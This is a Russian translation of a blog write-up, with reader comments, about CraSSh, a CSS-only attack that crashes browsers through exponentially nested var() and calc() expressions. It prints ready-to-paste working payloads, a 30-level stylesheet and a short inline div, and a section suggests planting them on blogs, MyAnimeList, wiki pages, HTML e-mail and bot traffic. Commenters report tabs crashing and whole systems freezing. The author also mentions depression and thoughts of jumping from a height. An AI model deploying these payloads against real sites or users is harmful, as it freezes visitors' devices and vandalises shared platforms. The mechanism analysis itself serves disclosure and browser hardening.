Не хочу читать эту техническую болтовню. Просто повали уже мой браузер.
Что такое CraSSh
CraSSh — это кроссбраузерная чисто декларативная DoS-атака, основанная на плохой обработке вложенных CSS-функций
var()
и calc()
в современных браузерах.CraSSh действует во всех основных браузерах на десктопах и мобильных устройствах:
- На движке WebKit/Blink — Chrome, Opera, Safari, даже Samsung Internet на смарт-телевизорах и холодильниках.
- Android WebView, iOS UIWebView также затронуты, то есть можно обвалить любое приложение со встроенным браузером.
- На движке Gecko — Firefox и его форки, такие как Tor Browser.
- Servo не запустился ни на одной из моих машин, поэтому я его не протестировал.
- На движке EdgeHTML — Edge в Windows, WebView в приложениях UWP (их вообще кто-нибудь использует?)
Браузер IE не затронут, поскольку он не поддерживает функции, на которых основана атака, но у его пользователей немало своих проблем (вероятно, этот браузер можно порушить другими способами — прим. пер.).
Как это работает
Идея CraSSh заключается в том, чтобы заставить браузер вычислить свойство CSS с вложенными вызовами переменных за экспоненциальное время и с огромным использованием памяти.
Атака полагается на три функции CSS:
Переменные CSS (custom properties и var())
Они позволяют объявлять: присваивать и читать переменные:
.variables
{
--variable: 1px;
/* declare some variable */
height: var(--variable);
/* read the previously declared variable */
}
Переменные не допускают рекурсии (хотя был баг в WebKit, который вызывал бесконечную рекурсию) или циклы, но их можно определить как
выражения calc()
Выражения calc() позволяют выполнять некоторые базовые арифметические операции при описании правил, например,
'width: calc(50% - 10px)'
.calc()
позволяет ссылаться на переменные и использовать несколько значений в одном выражении:.calc
{
--variable: 1px;
/* declare a constant */
height: calc(var(--variable) + var(--variable));
/* access --variable twice */
}
Это даёт возможность:
- линейно увеличивать вычисления в каждом выражении
calc()
путём добавления ссылок на предыдущие переменные; - экспоненциально увеличивать сложность с каждым объявлением переменной с выражением
calc()
, ссылающимся на другие вычисляемые переменные:
.calc_multiple
{
--variable-level-0: 1px;
/* константа */
--variable-level-1: calc(var(--variable-level-0) + var(--variable-level-0));
/* 2 вычисления константы */
--variable-level-2: calc(var(--variable-level-1) + var(--variable-level-1));
/* 2 вызова предыдущей переменной, 4 вычисления константы */
/*
... больше аналогичных объявлений
*/
--variable-level-n: calc(var(--variable-level-n-1) + var(--variable-level-n-1));
/* 2 вызова предыдущей переменной, 2 ^ n вычислений константы */
}
Это как будто должно вычисляться за экспоненциальное время, но современные браузеры немного умнее, поэтому обычно вычисляют значения переменных один раз, сводя сложность до линейной. Хитрость в том, что кэширования значений переменных не происходит, если у неё
разнородное значение
Технически, это часть
calc()
, но она заслуживает отдельного упоминания. Разнородная переменная содержит как абсолютные, так и относительные единицы. Она не может быть:- рассчитана как абсолютное значение и совместно использована различными приложениями для различных элементов, поскольку зависит от свойств целевого элемента (юниты
'%'
/'em'
); - рассчитана как абсолютное значение в одном приложении, потому что в некоторых случаях это приведёт к накоплению ошибок округления, вызывающих странные субпиксельные смещения, которые нарушат сложные макеты (у вас есть 12 столбцов, каждый шириной 1/12 экрана? Не повезло, приятель, они соберутся в новый ряд или оставят неуклюжий промежуток в конце).
Таким образом, это значение каждый раз пересчитывается заново:
.non_cached {
--const: calc(50% + 10px);
/* остаётся (50% + 10px) */
--variable: calc(var(--const) + var(--const));
/* по-прежнему не вычисляется актуальное значение */
width: var(--variable);
/* всё вычисляется здесь */
}
Что касается второго момента, большинство браузеров просто встраивают вложенные переменные с разнородным значением в одно выражение, чтобы избежать ошибок округления:
.mixed {
--mixed:calc(1% + 1px);
/* разнородная константа */
--mixed-reference: calc(var(--mixed) + var(--mixed));
/* переменная со ссылкой на константу */
--mixed-reference-evaluates-to: calc(1% + 1px + 1% + 1px);
/* предыдущая переменная после встраивания */
--mixed-reference-computes-as: calc(2% + 2px);
/* сокращённое представление, которое позже будет вычислено как абсолютное значение */
}
Представьте, что в выражении миллионы (или миллиарды) элементов… Движок CSS пытается выделить несколько гигабайт оперативной памяти, сократить выражение, добавить обработчики событий, чтобы свойства можно было пересчитать, когда что-то изменится. В конце концов, это происходит на определённом этапе.
Так, выглядел оригинальный CraSSh:
.crassh {
--initial-level-0: calc(1vh + 1% + 1px + 1em + 1vw + 1cm);
/* разнородная константа */
--level-1: calc(var(--initial-level-0) + var(--initial-level-0));
/* 2 вычисления */
--level-2: calc(var(--level-1) + var(--level-1));
/* 4 вычисления */
--level-3: calc(var(--level-2) + var(--level-2));
/* 8 вычислений */
--level-4: calc(var(--level-3) + var(--level-3));
/* 16 вычислений */
--level-5: calc(var(--level-4) + var(--level-4));
/* 32 вычисления */
--level-6: calc(var(--level-5) + var(--level-5));
/* 64 вычисления */
--level-7: calc(var(--level-6) + var(--level-6));
/* 128 вычислений */
--level-8: calc(var(--level-7) + var(--level-7));
/* 256 вычислений */
--level-9: calc(var(--level-8) + var(--level-8));
/* 512 вычислений */
--level-10: calc(var(--level-9) + var(--level-9));
/* 1024 вычисления */
--level-11: calc(var(--level-10) + var(--level-10));
/* 2048 вычислений */
--level-12: calc(var(--level-11) + var(--level-11));
/* 4096 вычислений */
--level-13: calc(var(--level-12) + var(--level-12));
/* 8192 вычисления */
--level-14: calc(var(--level-13) + var(--level-13));
/* 16384 вычисления */
--level-15: calc(var(--level-14) + var(--level-14));
/* 32768 вычислений */
--level-16: calc(var(--level-15) + var(--level-15));
/* 65536 вычислений */
--level-17: calc(var(--level-16) + var(--level-16));
/* 131072 вычисления */
--level-18: calc(var(--level-17) + var(--level-17));
/* 262144 вычисления */
--level-19: calc(var(--level-18) + var(--level-18));
/* 524288 вычислений */
--level-20: calc(var(--level-19) + var(--level-19));
/* 1048576 вычислений */
--level-21: calc(var(--level-20) + var(--level-20));
/* 2097152 вычисления */
--level-22: calc(var(--level-21) + var(--level-21));
/* 4194304 вычисления */
--level-23: calc(var(--level-22) + var(--level-22));
/* 8388608 вычислений */
--level-24: calc(var(--level-23) + var(--level-23));
/* 16777216 вычислений */
--level-25: calc(var(--level-24) + var(--level-24));
/* 33554432 вычисления */
--level-26: calc(var(--level-25) + var(--level-25));
/* 67108864 вычисления */
--level-27: calc(var(--level-26) + var(--level-26));
/* 134217728 вычислений */
--level-28: calc(var(--level-27) + var(--level-27));
/* 268435456 вычислений */
--level-29: calc(var(--level-28) + var(--level-28));
/* 536870912 вычисления */
--level-30: calc(var(--level-29) + var(--level-29));
/* 1073741824 вычисления */
--level-final: calc(var(--level-30) + 1px);
/* 1073741824 вычисления */
/* ^ на некоторых движках это не вычисляется автоматически -> нужно их где-то использовать */
border-width: var(--level-final); /* <- применяем рассчитанное значение */
/* некоторые движки могут пропустить border-width, если нет style (= пропущено ) */
border-style: solid;
}
<div class="crassh">
Если вы это видите, ваш браузер не поддерживает современный CSS или разработчики исправили ошибку CraSSh
</div>
А вот встроенная версия менее чем в 1000 символов (MediaWiki для демонстрации).
<div style="--a:1px;--b:calc(var(--a) + var(--a));--c:calc(var(--b) + var(--b));--d:calc(var(--c) + var(--c));--e:calc(var(--d) + var(--d));--f:calc(var(--e) + var(--e));--g:calc(var(--f) + var(--f));--h:calc(var(--g) + var(--g));--i:calc(var(--h) + var(--h));--j:calc(var(--i) + var(--i));--k:calc(var(--j) + var(--j));--l:calc(var(--k) + var(--k));--m:calc(var(--l) + var(--l));--n:calc(var(--m) + var(--m));--o:calc(var(--n) + var(--n));--p:calc(var(--o) + var(--o));--q:calc(var(--p) + var(--p));--r:calc(var(--q) + var(--q));--s:calc(var(--r) + var(--r));--t:calc(var(--s) + var(--s));--u:calc(var(--t) + var(--t));--v:calc(var(--u) + var(--u));--w:calc(var(--v) + var(--v));--x:calc(var(--w) + var(--w));--y:calc(var(--x) + var(--x));--z:calc(var(--y) + var(--y));--vf:calc(var(--z) + 1px);border-width:var(--vf);border-style:solid;">CraSSh</div>
Как это использовать
Кроме отгона пользователей от собственного сайта или блога на платформе, которая дает полный доступ к HTML, как Tumblr (пример со сбоем браузера) или LiveJournal (пример со сбоем браузера), CraSSh позволяет:
- Поломать UI на тех страницах сайта, которые под вашим контролем и позволяют определить произвольный CSS, даже не предоставляя шаблонов HTML. Мне удалось сломать MyAnimeList (пример со сбоем браузера). Reddit не подвержен этой атаке, потому что их парсер не поддерживает переменные CSS.
- Поломать UI на публичных страницах с открытым доступом на запись, которые позволяют вставлять некоторые теги HTML со встроенными стилями. На Википедии мой аккаунт забанили за вандализм, хотя я разместил пример со сбоем браузера на личной странице. Атака затрагивает большинство проектов на основе MediaWiki. В принципе, поломанную страницу уже нельзя будет восстановить через UI.
- Вызвать сбой почтовых клиентов с поддержкой HTML
- Это довольно сложно, поскольку почтовые клиенты удаляют/уменьшают HTML и обычно не поддерживают современные функции CSS, которые использует CraSSh
- CraSSh работает в
- Samsung Mail для Android
- CraSSh не работает в
- Outlook (веб)
- Gmail (веб)
- Gmail (Android)
- Yahoo (веб)
- Yandex (веб)
- Protonmail (веб)
- Zimbra (веб, автономная установка)
- Windows Mail (Windows, очевидно)
- Должен работать в
- Outlook для Mac (внутренне использует Webkit)
- Другие не тестировали.
- Мне просто пришла больная идея, что CraSSh можно использовать против ботов на основе CEF/PhantomJS. Атакуемый сайт может внедрять код CraSSh с заголовками (как здесь), а не показывать обычную ошибку 403. IIRC, ошибки обрабатываются по-разному во встраиваемых движках, поэтому
- это, вероятно, приведет к сбою бота (никто не ожидает переполнения стека или чего-то в headless-браузере)
- очень трудно для отладки, так как он даже не отображается в теле ответа, который, скорее всего, попадёт в логи
Зачем это сделано
- Помните тот пост Линуса?
Похоже, мир IT-безопасности достиг нового дна.
Если вы работаете в безопасности и думаете, что у вас есть совесть, то мне кажется, можете написать:
«Нет, правда, я не шлюха. Честно-честно»
на своей визитке. Я и раньше думал, что вся индустрия гнилая, но это уже становится смешно.
В какой момент люди из безопасности признaют, что обожают привлекать к себе внимание?
Я пошёл ещё дальше, и сделал аж целый сайт, посвящённый простому багу, потому что удовольствие работы до 4 утра и внимание к достигнутым результатам — это те немногие вещи, которые удерживают меня от депрессии и нырка на этот симпатичный тротуар перед офисом. - Кроме того, я ненавижу фронтенд, который составляет часть мой работы в качестве fullstack-разработчика, и такие вещи помогают немного расслабиться.
Похожие штуки
Сейчас я участвую в удивительном проекте, о котором мы расскажем чуть позже. Следите за новостями в твиттере.
Особая благодарность
- Константин Степанов (@cberg).
- EpicMorg, который разместил этот проект, хотя я доставляю им до хрена неприятностей.
Комментарии (53)
C_21
30.11.2018 18:37Перешел по ссылке if4milij4.livejournal.com/984.htmlБраузер не упал, просто комп завис, даже намлок не отреагировал на нажатие.
vladcrush
30.11.2018 18:37Chrome Версия 70.0.3538.110 (Официальная сборка), (64 бит) думает пару секунд и падает вкладка: «Опаньки ...»
Tallanvor
30.11.2018 18:37Попробовал открыть в последнем ФФ, win10, hdd, FX 8350, 16GB RAM
За пару секунд лис сожрал всю доступную память и повесил комп наглухо
Пишу коммент с телефона, планирую хард ресет…justboris
01.12.2018 02:00история почти как в этой копипасте: lurkmore.to/Копипаста: Пацаны_не_качайте!
Tallanvor
01.12.2018 02:03На самом деле, ожидал краша/зависания браузера, но уж никак не висяк системы.
Для полноты картины, дополню, что коммент писался 3-м или 4-м по счёту (но долго ждал одобрения), т.е. никто ещё не говорил, что может зависнуть комп =)
forcam
30.11.2018 18:56это те немногие вещи, которые удерживают меня от депрессии и нырка на этот симпатичный тротуар перед офисом
Отсутствие внятной цели в жизни после 30, это синоним бесконечного желания покончить с собой, ну или по крайней мере бесконечные мысли на эту тему. Мы так устроены, что наше счастье начинается там, где начинается наша цель, если цели нет, то и смысла особого тоже нет.
Не знаете где себя найти — всегда можно найти как помочь окружающим, тем или иным способом, ну или помочь экологии, тоже, тем или иным способом.Smayliks
30.11.2018 20:34А чем помощь экологии, например, лучше поиска поиска потенциального бага системы, при котором когда-нибудь при переходе на хтмл-страничку вешается компьютер. В следсвии чего, например, может остановиться система контроля атомного реактора условной АЭС?
Я понимаю, что утрировано, но почему вы считаете, что ваши жизненные ценности важнее окружащим, а не вам лично?
Akuma
30.11.2018 19:27Chrome 70.0.3538.110
Просто сразу падает вкладка. На всю остальную работу никак не влияет.
i5, SSD, 16 RAM
mastan
30.11.2018 19:49-1Edge не упал, покрутился немного и выдал ошибку при загрузке:
imgur.com/bUQKf4G
johnfound
30.11.2018 20:37Я что-то подобное писал на базе XML и тоже для борьбы с ботами. Кстати с неясным результатам. :D
Иду по ссылке. Если не вернусь, считайте коммунистом....
П.П. Упал только таб — FF63.0.3, Linux, 4GB RAM и 8GB swap. Упал сравнительно быстро через 1..2 минуты интенсивного выделения памяти.
DerRotBaron
01.12.2018 21:20FF/Fennec 63.0.2, Android, 8G RAM. Браузер валится за 2-3 секунды и полностью.
Видимо, полноценной изоляции вкладок под Android у них нет.
balsoft
30.11.2018 22:54Вкладка падает почти мгновенно. Система не виснет, браузер не виснет, памяти не жрёт. Chromium 70.0.3538.102 на Linux ASUS-Laptop 4.14.81, Intel Core i3-6100U @ 4x 2.3GHz, 12GB RAM, нет свопа.
funca
30.11.2018 23:52А я чем сенсация? Есть уйма способов наступить на грабли в CSS. Трансформации, анимации, фильтры, составные бекграунды, маски, шрифты, svg и т.п. Креш вкладки это стандартный механизм браузера для отстрела проблемных страниц. Из-за этого подобные вещи сложно анализировать, в отличие от JS, где есть отладчик, профайлеры и т.п.
Alexufo
01.12.2018 00:02Помню подобное во времена DC++. Там была реализована подсветка в текстах твоего ника в любом тексте. Так так вот отправляешь ему в личку максимум по знакам сообщения его ников раз 5 и у него и вис этот DC++ намертво.
dmitry502
01.12.2018 01:37Автор оригинального поста — Константин Сафонов (kasthack): https://www.linkedin.com/in/kasthack/
Автор с переводом не согласен, так как перевод плохо передает оригинал. Так же автор недоволен отсутствием ссылки на его LinkedIn.
ViceCily
01.12.2018 05:20-1Мобильный Яндекс браузер явно это предусмотрел. Выполняет попытку около 5-10 секунд, пишет что что-то не так и пытается перезагрузить страницу. Повторяет ещё 2 таких попытки и говорит что не смог. То есть они явно при загрузке страницы проверяют не слишком ли много ресурсов потребляет страница.
EaGames
01.12.2018 09:58Chrome за секунду повесил вкладку — ничего не зависло
Edge за 5 секунд сделал тоже самое — ничего не зависло
Firefox очень удачно повесил саму винду — только рестарт…
Wanderer777
01.12.2018 09:59Мне одному стало интересно что это за Samsung Internet на холодильниках?
Semen55338
01.12.2018 09:59MacOS Safari загрузка страницы через пять минут перезапускается из-за ошибки на половине процесса отъедая на 100% одно ядро процессора. На другие вкладки и систему больше никак не влияет
StallinHrusch
01.12.2018 12:45Ну что-то слишком громкое заявление про «обвалить любой современный браузер». Во-первых — в коментах уже отписали, что этот метод почти ни один браузер не обвалил (максимум вкладку). Ну и в iOS проверил — просто долго грузится, устал ждать, закрыл вкладку. Такого можно достичь гораздо более простым способом. Во-вторых… да хватит первых. Желтушная статья про ничего нового
Rulexec
01.12.2018 15:05Нужен shadow dom, которому разработчики веб-приложений могли бы указать что-то вроде «лимит памяти 10мб», чтобы пользовательский контент со стилями не мог съесть вообще всю оперативную память и уронить вкладку целиком.
А вычисления js/css в основном потоке хорошо бы ограничить в скорости исполнения на уровне браузера (например, 10мс вычисляем, 20мс спим), если превышен лимит в ~100мс времени. Во-первых если оно не уложилось, то в любом случае это надолго. Во-вторых отличная мотивация разработчиков к написанию отзывчивых интерфейсов.
johnfound
01.12.2018 16:49Во-вторых отличная мотивация разработчиков к написанию отзывчивых интерфейсов.
Нет, не получится. Не замотивируются. Начнут выпускать "ускоритель интернетов", который будет отключать все эти ограничения.
SergeyMax
01.12.2018 23:07Нужен shadow dom, которому разработчики веб-приложений могли бы указать что-то вроде «лимит памяти 10мб»
Так ведь следующая статья будет на тему «указал 100ГБ, ололо, я сломал все браузеры»
Yumashka
01.12.2018 23:46FF, Win7, древний i5, 16GB RAM, система на SSD, своп на втором SSD
Браузер съел всю память, лампочка дисков горит постоянно, другие вкладки работают (пишу сейчас), другие приложения запускают. Есть легкое лагание. Подожду, пока переполнится SLC кэш на втором диске, может эффект позаметнее будет.
… не дождался. FF сказал, что вкладка упала, и освободил память.
PS: в Мозиллу (или куда еще) баг отписали?
DavidNadejdin
01.12.2018 23:46Chrome на Windows 10 крашит страницу через определенное время, первый раз скрашил страницу сек за 5, второй пк неплохо так подвис но всетаки ожил как chrome скрашил страницу
Elford
02.12.2018 09:57Как бы да. Ubu, i5, 16Gb, FF last, без swap. Попыхтел и все. В пике потребление 5Гб памяти заметил максимум.
croupier
Firefox попыхтел минут 5 и таки смог prntscr.com/lozfwg )
Комп: i3 7100, 8GB, SSD, firefox 63.0.3 (64-бит)
CoolCmd
своп на ssd? :)
croupier
Конечно)
Хотел засечь время, но с cras.sh/crash.html повторить уже не смог — падает.
nafgne
А что, нужно ставить специальный HDD под своп?)
CoolCmd
нет, просто с hdd пришлось бы ждать намного дольше
poznawatel
А у меня FF попыхтел и упала только вкладка, в которой эта бомбочка открывалась.